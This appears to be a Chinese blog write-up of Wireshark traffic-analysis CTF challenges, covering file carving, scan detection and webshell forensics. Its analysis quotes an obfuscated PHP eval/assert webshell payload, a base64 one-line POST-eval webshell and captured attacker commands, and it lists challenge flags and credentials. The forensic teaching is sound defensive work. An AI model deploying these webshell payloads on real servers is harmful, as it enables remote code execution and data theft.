总字符数: 24.33K
代码: 7.43K, 文本: 4.96K
预计阅读时间: 54 分钟
Wireshark基本使用
CTF
WireShark流量分析小试牛刀
扫描流量检测
描述
入侵者通过ping工具对局域网内一主机进行存活性扫描,flag 为入侵所发送的16字节的数据包内容。
题解
根据提示重点分为两个:
Ping命令的协议为ICMP16字节
首先,筛选出协议为ICMP的流量包

浏览数据包,发现长度为16自己的数据

将数据进行十六进制转换可得flag

提取压缩包
描述
key为文本格式,你找得到吗?
题解
右键–>追踪流–>TCP流可看到更详细的信息
第一个包去请求了一个密钥相关的txt,响应包中告诉我们密钥为ZipYourMouth

接着看下一个流量包,发现他去下载了一个flag.zip的压缩包,也就是响应体是压缩包的数据我们只需要将响应体恢复成文件之后即可解压

选择对方给我方的响应对话,并且选择原始数据

然后点击另存为,文件名为flag.zip请求包里是什么名字我们就暂定为什么名字

发现压缩包无效,这是因为我们在保存的时候也把响应头等信息也给保存进去了,我们使用010Editor等工具.将多余的信息删掉即可


将其删掉,再次尝试打开.

发现非压缩包.然后我们使用WinRAR尝试修复

打开修复后的压缩包发现显示密码错误,并且压缩包内的文件也不正常

这个时候我们可以直接将pcap包复制一份改名为.zip然后使用WinRAR修复即可

文件名也正确,输入密码得到Flag

关键字符提取
描述
请找到流量包中的flag,格式为:nctf{}
题解
随便选中一个数据流,按Ctrl+F,选择分组详情,搜索字符串:nctf可得flag

特殊字符提取
描述
请找到密码,组合为flag,格式为:flag{密码}
全是TCP协议,直接右键追踪TCP流

上来就发现了密码~好简单啊,并且就这一个包,然后提交flag发现不对.看特征是Linux输入密码.那有没有可能中间有密码输错了,然后Delete键的流量也被记录了.

选择HEX 转储

然后对照十六进制的Ascii码表,发现72对应的值确实是r也就是说这些确实是ascii码

找到7f为delete,0D为回车.在r后面按了三下delete,8后面一下,e后面一下回车也就是:backdoorm8te	


文件提取
ISG.pcap
直接追踪TCP流,发现是一堆Webshell流量,看不懂没关系,我们直接找文件即可,在流三中发现了x.tar.gz

那我们按照上面的方法,提取出压缩包,我们发现在响应体中最前面和最后面有->| |<-那我们可以猜测这类似是一种包裹方式,而且也不属于压缩包的头信息,我们使用010Editor工具给他删掉


最后就这样

打开压缩包可得flag

final.pcap
打开后可发现ftp协议,直接追踪该流,流1可发现账号密码,保存一下

流2可以发现很明显的Rar头信息,提取出来

发现需要密码,拿流1中的密码去尝试,也解不开

接着往下看流,在流4中发现了PNG头

提取出来,删除多余的数据,然后发现图片打不开,接着往下看流,流5中发现Base64编码的内容

发现普通Base64无法解码,试一下解码为中文


解压出来后使用记事本打开66666666666文件发现是一堆乱码,那就用010Editor.exe打开看看

发现了IHDR很熟悉,上面看到过.发现是个PNG图片但是缺少了头信息,那我们随便找一个正常的PNG图片的数据复制过来

复制第一行即可,替换掉

得到flag

导出对象
流量中的线索.pcapng
选择文件—>导出对象—>HTTP

打开发现是一堆Base64数据

使用Base64解码或前方加上data:image/jpg;Base64,


Misc-我抓到你了

打开1.php
1  | a=array_map("ass"."ert",array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEY9Ii92YXIvd3d3L2ZsYWcuemlwIjskZnA9QGZvcGVuKCRGLCdyJyk7aWYoQGZnZXRjKCRmcCkpe0BmY2xvc2UoJGZwKTtAcmVhZGZpbGUoJEYpO31lbHNle2VjaG8oJ0VSUk9SOi8vIENhbiBOb3QgUmVhZCcpO307ZWNobygiWEBZIik7ZGllKCk7'));\");"));  | 
也就是Base64解码,那我们也解码一下

可以发现了flag.zip那我们将响应体保存为zip,并删除多余数据

fly.pcapng
导出HTTP对象,发现是邮箱的数据传输


右键追踪流,往前翻看看是传输的什么文件{"path":"fly.rar","appid":"","size":525701,"md5":"e023afa4f6579db5becda8fe7861c2d3","sha":"ecccba7aea1d482684374b22e2e7abad2ba86749","sha3":""}

按照序号将五个数据包的大小记录下来,分别为131436、131436、131436、131436、1777一共是527521Byte,但是上面的大小为525701也就是说每个数据包前面都有固定大小的标识.(527521-525701)/5=364.

去掉每个数据包364 byte的其他头部信息,然后再将5个文件合并成rar压缩文件
找到数据传输包,选中data的部分右键,导出分组字节流即可

1  | ┌──(kali㉿kali)-[~/bin]  | 

1  | ┌──(kali㉿kali)-[~/bin]  | 
可能是个伪加密,搜索rar伪加密改文件头信息解开。

将84替换为80

打开后发现是一堆乱码

使用binwalk分析

发现一堆图片使用foremost -T flag.txt 进行分离

扫码可得flag

Flag
flag{!"#$%&'()*+,-./0}flag{qscet5234diQ}nctf{wireshark_is_easy}psw flag{backdoorm8te}ISG{China_Ch0pper_Is_A_Slick_Little_Webshe11}flag{FI@G_1$_h#Re_SeC()Ri7Y}flag{209acebf6324a09671abc31c869de72c}flag{a264c8ce70dfbc08dcfb9d552e15411a}flag{m1Sc_oxO2_Fly}
流量分析
- 某公司内网网络被黑客渗透,请分析流量,给出黑客使用的扫描器 
awvs  - 某公司内网网络被黑客渗透,请分析流量,得到黑客扫描到的登陆后台是(相对路径即可) 
/admin/login.php?rec=login.php  - 某公司内网网络被黑客渗透,请分析流量,得到黑客使用了什么账号密码登陆了web后台(形式:username/password) 
admin/admin!@#pass123  - 某公司内网网络被黑客渗透,请分析流量,得到黑客上传的webshell文件名是,内容是什么,提交webshell内容的base编码 
a.php PD9waHAgQGV2YWwoJF9QT1NUWzEyMzRdKTs/Pg==  - 某公司内网网络被黑客渗透,请分析流量,黑客在robots.txt中找到的flag是什么 
flag:87b7cb79481f317bde90c116cf36084b  - 某公司内网网络被黑客渗透,请分析流量,黑客找到的数据库密码是多少 
web/e667jUPvJjXHvEUv  - 某公司内网网络被黑客渗透,请分析流量,被黑客攻击的web服务器,网卡配置是是什么,提交网卡内网ip 
eth1 10.3.3.100  - 某公司内网网络被黑客渗透,请分析流量,黑客在数据库中找到的hash_code是什么 
d1c029893df40cb0f47bcf8f1c3c17ac  - 某公司内网网络被黑客渗透,请分析流量,黑客破解了账号ijnu@test.com得到的密码是什么 
edc123!@#  - 某公司内网网络被黑客渗透,请分析流量,黑客使用了什么账号登陆了mail系统(形式: username/password) 
admin/admin!@#PASS123  - 某公司内网网络被黑客渗透,请分析流量,黑客获得的vpn的ip是多少 
10.3.4.3  
webone.pcap
识别扫描器
协议分级中查看到http协议100%,那就直接查看http协议

一般扫描器的指纹会出现在Conten-type或User-Agent当中,所以将此两个字段应用为列

大概看一下,将无危胁的过滤掉http && (http.request.method=="GET" || http.request.method=="POST") && http.content_type != "application/x-www-form-urlencoded"即可发现awvs扫描器的指纹

登陆后台
直接定位状态码为301或者302的,登陆成功后会跳转嘛然后可以翻到admin字样的数据包
http.response.code==301 || http.response.code==302 && http.response_for.uri matches "admin"

得到结果:http://192.168.32.189/admin/login.php?rec=login.php
账号密码
基本查询没什么好讲的,把长度排序,最特别的那个就很有可能是登录成功的,我们使用Burp爆破的时候也是看长度最特别的那个
http.request.method=="POST" && http.request.uri.query=="rec=login"&& ip.src==192.168.94.59

WebShell
木马一般请求方式为POST,所以指定请求方式为POST.并且将暴力破解相关的流量筛选掉
1  | http && ip.src == 192.168.94.59 && http.request.method == "POST" && http.content_type!="acunetix/wvs" &&!(http.request.full_uri contains "admin/login.php?rec=login")  | 
然后就可以发现比较异常的文件:a.php

然后我们发现了密码是1234,并且是在请求体里的则根据此条件找出木马内容.使用http contains "$_POST[1234]" 发现搜不到,那么尝试一下tcp,tcp contains "$_POST[1234]"

分析WebShell行为
定位WebShell相关的所有流量http.request.uri=="/images/article/a.php" || http.response_for.uri  matches "/images/article/a.php"


选择导出特定分组打开导出的文件进行追流分析
1  | # 下载了 /var/www/html/images/article/20180807wwmhxi.png  | 
robots.txt
上面在分析的时候其实也查到了····http.request.full_uri matches "robots.txt"

数据库密码
查询常见数据库端口tcp.dstport==3306

选择文件–>导出特定分组,先将mysql的导出来

然后打开mysql的流量看一下,并没有什么信息,这个是个Web网站,那账号密码有没有可能在配置文件里面,然后被黑客访问了呢~~~
那么涉及到配置文件必然会涉及到数据库名、用户名、密码,例如: http contains "database" and http contains "user" and http contains "name"或者 http contains "database"  || http contains "user" || http contains "name"

1  | // database host  | 
网卡信息
1  | eth0 Link encap:Ethernet HWaddr 00:0C:29:CB:9F:85  | 
webtwo.pcap
hash_code
发现只有MySQL协议,随便打开一个包看看格式和有哪些内容


我们可以按照这个格式查一下mysql.query matches "hash_code"

右键追踪TCP流

ijnu密码
mysql contains "ijnu@test.com"


mail*.pcap
协议分级,看看自己要关注那些协议和字段

映入眼帘的就是一个敏感路径

根据敏感路径进行过滤http.request.full_uri matches "action=login" ||http.response_for.uri  matches "action=login" 分析请求及响应信息

发现一个success:true,右键追踪流,确实是登录成功了,但是没有请求体,估计是Cookie登录的.放弃QAQ不过又多了个筛选条件

http.request.full_uri matches "action=login" || (http.response_for.uri matches "action=login" && data-text-lines matches "{\"success\":true}")
将value应用为列,排查一下,最终会发现只是都满足了resquest包含了action=login而已,打开另一个数据包进行排查

可以发现爆破了admin的密码

追踪流,看着密码像base64编码,但是解不出来


那就在当前流找找,看看有没有加密函数,最后发现了加密函数,但是可惜的是损坏了,函数不完整,根据这个密钥去搜搜还有没有其他流量包



可以得到以下信息:
hash: md5(1234567812345678):d959caadac9b13dcb3e609440135cf54iv(偏移量):1234567812345678模式:cbc字符集:utf8

vpn*.pcap
PPTP原理
- PPTP客户机使用动态分配的TCP端口号,与PPTP服务器使用的保留TCP端口号123建立控制连接(PPTP控制连接携带PPTP呼叫控制盒管理信息,用于维护PPTP隧道)。
 - 客户端与服务器通过控制连接来创建、维护、终止一条隧道。
 - PPP帧的有效载荷经过加密、压缩或是两者的混合处理。
 - 使用通用路由封装GRE对PPP帧进行封装。
 - 将PPP帧封装进IP数据报文中。通过IP网络如Internet或其他企业准用INTRANET灯发送给PPTP服务器。
 - 服务器接收到PPTP数据包后进行常规处理。
 
我们打开vpnone.pcap,发现vpnone.pcap应该只是在尝试登陆VPN.

查看vpntwo.pcap,在统计——>IPV4中发现


0.3.4.96 、10.3.4.55 、10.3.4.3出现的次数.最多接着查看一下协议分级

有smb服务,看看smb服务器的ip是哪个排除一下,可以看到原端口是445也就是smb的服务端口,那么服务器IP则为10.3.4.96

排除一些无用选项!smp && ip.src != 10.3.4.96,发现了ping

可以看到10.3.4.3一直在主动ping 10.3.4.55可以确定10.3.4.3为黑客IP

WebShell.pcap
将http导出为php,然后去分析包



导出后逐渐分析每个文件,会在config(25).php中发现敏感操作,类似于压缩文件包的操作

继续往下分析包,找他有没有下载嘛,发现config(31).php文件最大嘛,改后缀名,改成.rar,打开后发现有密码,再返回去看他是怎么压缩的包嘛,看看他有没有设置密码

响应包是config(25).php,那么请求包盲猜24呗,打开后发现是url编码了,解码看一下


发现他做了base64_encode嘛,那我们将每一个值都解码一下呗,发现z2解码后是命令

1  | cd /d "c:\inetpub\wwwroot\"&C:\progra~1\WinRAR\rar a C:\Inetpub\wwwroot\backup\wwwroot.rar C:\Inetpub\wwwroot\backup\1.gif -hpJJBoom&echo [S]&cd&echo [E]  | 
查找帮助文档,发现-hp是设置密码,那么JJBoom就是密码呗

解压出来之后发现,是个gif图,但是打不开

拖进010查看一下发现文件头是mdmp

将后缀名改为mdmp,不知道mdmp是啥,Google一下

进去搜一下mdmp

那就跟着教程走嘛,发现分析出来的是某一台机器的账号密码
